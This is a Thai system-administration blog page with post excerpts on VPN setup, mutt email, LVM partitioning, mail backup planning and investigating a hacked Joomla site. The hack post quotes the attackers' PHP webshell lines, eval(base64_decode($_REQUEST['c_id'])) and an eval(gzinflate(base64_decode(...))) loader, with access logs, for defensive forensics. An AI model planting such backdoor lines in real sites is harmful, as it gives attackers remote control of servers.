How to create PSU VPN (L2TP/IPSec) connection Ubuntu 13.04?

* ติดตั้งโปรแกรมชื่อ l2tp-ipsec-vpn ด้วยคำสั่ง $sudo apt-get install l2tp-ipsec-vpn ดังภาพ * ตอบ y * ตอบ No * กด OK * สั่ง reboot เครื่อง * เมื่อบูทเสร็จจะพบว่ามีไอคอนเพิ่มมาบนพาเนล * คลิกซ้ายเลือก Edit Connection * หน้าจอจะมืดลงและมีช่องให้ใส่พาสเวิร์ดของผู้ใช้ลงไปแล้วกด OK * จะได้หน้าจอดังรูป * คลิก Add จะได้หน้าจอดังรูป ใส่ vpn.psu.ac.th ลงไปในช่อง Connection name กด OK * ได้ดังรูป * คลิก Edit กรอกข้อความตามรูป * คลิก PPP เลือกตามรูป ในช่อง Username และ Password ให้ใช้ PSU Passport * คลิก IP setting คลิกเครื่องหมายถูกในช่องสี่เหลี่ยมหน้าข้อความ Obtain DNS server address automatically กด OK * กด OK ออกมาจนสุดคลิก Close คลิก OK * Reboot อีกครั้ง * คลิกที่ไอคอน เลือก vpn.psu.ac.th * เมื่อเชื่อมต่อสำเร็จจะเป็นดังรูป * สำหรับ Linux Mint 15 อาจจะต้องทำคำสั่งนี้ก่อนจึงจะใช้งานได้ sudo apt-add-repository ppa:werner-jaeger/ppa-werner-vpn sudo apt-get update && sudo apt-get install l2tp-ipsec-vpn * ขอให้สนุกครับ ที่มา http://rapidvpn.com/setup-vpn-l2tp-ubuntu.htm

Read More »

วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2

ต่อจาก “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1” ซึ่งเป็นวิธีการตรวจสอบ จาก วันเวลา ของไฟล์ที่ตรวจสอบพบว่า ถูกนำมาวาง จากช่องโหว่ของ Joomla แต่เมื่อตรวจสอบลึกลงไป โดยตรวจสอบ ไฟล์ที่เอามาวางไว้ พบว่ามีรูปแบบหลากหลาย *** แต่มีวิธีการเดียวกัน*** นั่นคือ การใช้ eval และ base64_decode ทั้งสิ้น ตัวอย่างที่ 1:   จะเห็นได้ว่า hacker เขียนไฟล์ดังกล่าว แล้วสร้างตัวแปรว่า $code ในนั้นเป็น Code ซึ่ง “เข้ารหัสแบบ Base64 แล้ว gzip เอาไว้” เพื่อไม่ให้เราตรวจสอบได้ง่ายๆ จากนั้น จึงใช้คำสั่ง eval(gzinflate(base64_decode($code))) ซึ่งจะ decode ข้อความแบบ Base64 ก่อน แล้วค่อย unzip ออกไปอีกที … ซับซ้อน ก็จะทำให้ hacker สามารถใช้ code นั้นๆ มาทำอะไรต่อมิอะไรในเครื่อง web server เราได้   ตัวอย่างที่ 2: ใช้วิธีไปเขียนไฟล์ ของ Joomla โดยตรง (contact.php) ซึ่งพื้นที่ดังกล่าว เปิดให้ apache เขียนได้ และมีที่เปิด Permission เป็น 777 จึงทำให้ apache เขียนได้เช่นกัน โดยในตัวอย่างนี้ ใช้วิธีเขียนไว้ที่บรรทัดแรกของไฟล์ และใช้คำสั่ง eval(base64_decode($_REQUEST[‘c_id’])) ต่างจากตัวอย่างที่ 1 ตรงที่ แทนที่จะฝัง Code ไว้ในไฟล์ ก็ใช้วิธีส่ง Code ผ่านทาง Action “POST” ของ HTTP มา (ในภาษา PHP ตัวแปรที่รับค่าจาก HTTP เข้ามามีได้ทั้ง GET, POST และ REQUEST ซึ่งตัว REQUEST ดังกล่าว สามารถรับได้ทั้งแบบ GET และ POST) ถ้าเฝ้าดูใน log ไฟล์ ก็จะเห็นรูปแบบดังนี้ 216.239.45.67 – – [24/Apr/2013:08:22:41 +0700] “GET /language/settings.class.php HTTP/1.1” 200 197 “-” “Python-urllib/2.7” 202.46.129.104 – – [24/Apr/2013:08:23:02 +0700] “POST /language/settings.class.php HTTP/1.1” 200 497 “-” “Mozilla/5.0 Firefox/3.6.12” 61.152.116.103 – – [24/Apr/2013:08:35:08 +0700] “POST /language/settings.class.php HTTP/1.1” 200 197 “-” “Mozilla/5.0 Firefox/3.6.12” 62.193.237.22 – – [24/Apr/2013:08:51:35 +0700] “POST /language/settings.class.php HTTP/1.1” 200 211 “-” “Mozilla/5.0 Firefox/3.6.12” 200.198.186.38 – – [24/Apr/2013:08:56:29 +0700] “POST /language/settings.class.php HTTP/1.1” 200 197 “-” “Mozilla/5.0 Firefox/3.6.12” 31.196.4.41 – – [24/Apr/2013:08:56:32 +0700] “POST /language/settings.class.php HTTP/1.1” 200 197 “-” “Mozilla/5.0 Firefox/3.6.12” 203.172.251.84 – – [24/Apr/2013:08:57:27

Read More »

ตัวอย่างการใช้งาน mutt เพื่อส่ง email แบบ command line

เมื่อต้องการส่ง email ด้วย command line วิธีที่ถูกต้องที่สุด ไม่ผูกติดกับ email client program บน Linux คือการสร้างไฟล์ แล้วส่งผ่าน sendmail ไม่ว่าจะเป็น original sendmail หรือ backward-compatibility ของ postfix ก็ตาม (จะกล่าวในอีกบทความหนึ่ง) แต่หากต้องการความง่าย ก็ลองใช้วิธีนี้ดูครับ ผ่านโปรแกรมชื่อ mutt ตัวอย่างคือ 1. ส่ง email ไปให้ username.s@xxx.psu.ac.th 2. บอกว่า ส่งจาก IT Department ซึ่ง email address เป็น blah@itdept.xxx.psu.ac.th 3. มี Subject ว่า This is Subject 4. แนบไฟล์ชื่อ test.txt 5. แต่จดหมายนี้ ไม่ต้องการให้ผู้ใช้ตอบกลับ จึงส่งให้ no-reply@xxx.psu.ac.th เพื่อโยนทิ้งทันที 6. เนื้อความ ว่า Hello World   สามารถใช้คำสั่งต่อไปนี้ export REPLYTO=”no-reply@xxx.psu.ac.th”; export EMAIL=”IT Department <blah@itdept.xxx.psu.ac.th>”; echo “Hello World” | mutt -s “This is Subject” -a test.txt — kanakorn.h@psu.ac.th

Read More »

บันทึกการสร้าง LVM Partition

เนื่องจากมี disk ขนาดแค่ 560 GB หลายลูก แต่ต้องการเอามารวมกันให้เป็น Volume ใหญ่ๆ และไม่ใช้ RAID เขียนเป็นบันทึกเก็บไว้ จึงอยากเอามานำเสนอ เผื่อเป็นประโยชน์ 1. มี /dev/sdb , /dev/sdc , /dev/sdd ก้อนละ 560 GB อยู่ ต้องทำ LVM เป้าหมายคือ ต้องการได้ Device สำหรับการ mount ชื่อ /dev/virtual1/logical1 reference: http://www.howtoforge.com/linux_lvm http://www.linuxquestions.org/questions/linux-hardware-18/lvcreate-with-max-size-available-749253/ 2. ติดตั้ง lvm software ด้วยคำสั่ง apt-get install lvm2 dmsetup mdadm reiserfsprogs xfsprogs 3. สร้าง partition ใน physical disk ให้เป็นของ LVM Partition sudo su fdisk /dev/sdb Command (m for help): n Partition type: p Partition number (1-4, default 1): 1 First sector (2048-1073741823, default 2048): Last sector, +sectors or +size{K,M,G} (2048-1073741823, default 1073741823): Command (m for help): t Hex code (type L to list codes): 8e Command (m for help): w ทำเช่นเดียวกับกับทั้ง /dev/sdc, /dev/sdd 4. ต่อไป สร้าง Physical Volume ของ LVM pvcreate /dev/sdb1 /dev/sdc1 /dev/sdd1 pvdisplay 5. ต่อไป สร้าง Group Volume ของ LVM vgcreate virtual1 /dev/sdb1 /dev/sdc1 /dev/sdd1 vgdisplay vgscan 6. ต่อไป สร้าง Logical Volume ของ LVM (เต็มพื้นที่ที่มี) lvcreate –name logical1 -l 100%Free virtual1 lvdisplay lvscan 7. ต่อไป สร้าง Filesystem แบบ ext4 mkfs.ext4 /dev/virtual1/logical1 8. แก้ fstab แล้ว mount vi /etc/fstab /dev/virtual1/logical1 /var/spool/mailbackup ext4 rw,noatime 0 0 mount -a

Read More »

แนวทางการ Backup บน Ubuntu Server (กรณีระบบ PSU EMail)

เนื่องจากจะจัดทำระบบ Backup and Recovery ระบบ Mail ซึ่งทำงานอยู่บน Ubuntu จึงทำการรบรวมข้อมูล และหาแนวทางที่เหมาะสม   ก่อนจะตัดสินใจเลือก แผนการ Backup ที่เหมาะสม ก็ควรพิจารณาเรื่องต่อไปนี้ด้วย [1] 1. WHY: จุดประสงค์การ Backup/Restore, ถ้าข้อมูลสูญหายจริงๆจะเกิดความเสียหายขนาดไหน ? 2. WHAT: สิ่งที่จะทำการ Backup, ทั้ง Hard Drive? หรือเป็นข้อมูลบางส่วน? 3. WHEN: เวลาที่ดีที่สุดที่จะ Backup, บ่อยขนาดไหน, จะทำการ Full/Incremental Backup เมื่อใดบ้าง ? 4. WHERE: เก็บ Backup ไว้ที่ใด, ในเครื่องนั้นๆ, เก็บไว้ภายนอก หรือใช้บริการ Cloud Storage 5. MEDIUM: สื่อที่ใช้จัดเก็บ, USB Stick, External HDD, Tape หรือ Backup Server   ประเภทของการ Backup [1] 1. Full: สำรองทุกสิ่งอย่าง 2. Incremental: สำรองเฉพาะสิ่งที่เพิ่มขึ้นมา นับจากการสำรองครั้งล่าสุด 3. Differential:  เหมือนกับ Incremental แต่เก็บเฉพาะไฟล์ที่ยังไม่ปรับค่า Archive bit (ในกรณี Windows Filesystem)   วิธีการ Backup : จากการสำรวจ พบว่าบน Ubuntu มีเครื่องมือ และวิธีการให้ใช้มากมาย เช่น SimpleBackupSuite, grsync, pybackpack หรือที่ติดมาพร้อมกับ Ubuntu Desktop อย่าง Déjà Dup [1] แต่เครื่องมือเหล่านี้เหมาะสำหรับการใช้งานแบบ Desktop Computer มากกว่า แต่ในระบบ Mail Server ซึ่งมีปริมาณข้อมูลจำนวนมาก และเป็นของผู้ใช้จำนวนมาก (ในระบบมีผู้ใช้รวม 6000 คน) จึงควรต้องมีการทำงานที่ยืดหยุ่นกว่า และสามารถปรับแต่งตามต้องการได้ จึงพิจารณาใช้ tar เพื่อทำการ Full [2] และ Incremental Backup [3] แล้วจึงใช้ rsync ส่งไฟล์ไปเก็บไว้ที่ Backup Server ต่อไป   ในกรณี PSU Email มีลักษณะดังนี้ 1. เก็บ email แต่ละฉบับเป็นแบบไฟล์ ไฟล์ขนาดเล็กๆ 2. ไม่มีการเขียนทับไฟล์เดิม (เว้นแต่ Index ของ Mailbox ซึ่งไม่จำเป็นนัก เพราะ ต้อง rebuild ใหม่เมื่อทำการ restore) 3. เมื่อมี email ใหม่เข้ามา จะทำการสร้างไฟล์ใหม่ โดยแต่ละไฟล์จะเป็นตัวเลข เพิ่มขึ้นเรื่อยๆ ไม่ซ้ำเดิมแน่นอน 4. เมื่อผู้ใช้สามารถ สร้าง และ rename ชื่อ directory ได้ พิจารณาคำถามข้างต้น แล้วให้ตำตอบ WHY: เพื่อสำรอง email ไว้ให้ ในกรณีฉุกเฉินที่ผู้ใช้ลบ email ไปโดยไม่ตั้งใจ WHAT: email อยู่บน disk แยกออกไป, ทำการสำรองเฉพาะไฟล์ใน directory จัดเก็บ ซึ่งใช้เนื้อที่รวม 600 GB ซึ่งเป็นของผู้ใช้ในระบบ 6,000 คน, ข้อมูลมีลักษณะเป็นไฟล์ขนาดเล็กจำนวนมาก และมีการเพิ่มและลดจำนวน แต่ไม่มีการแก้ไขไฟล์, มีการเพิ่ม/ลบ/เปลี่ยนชื่อ directory WHEN: จากสถิติการใช้งาน พบว่า ผู้ใช้ใช้งานน้อยที่สุดหลังเวลา 03:00 ของทุกวัน

Read More »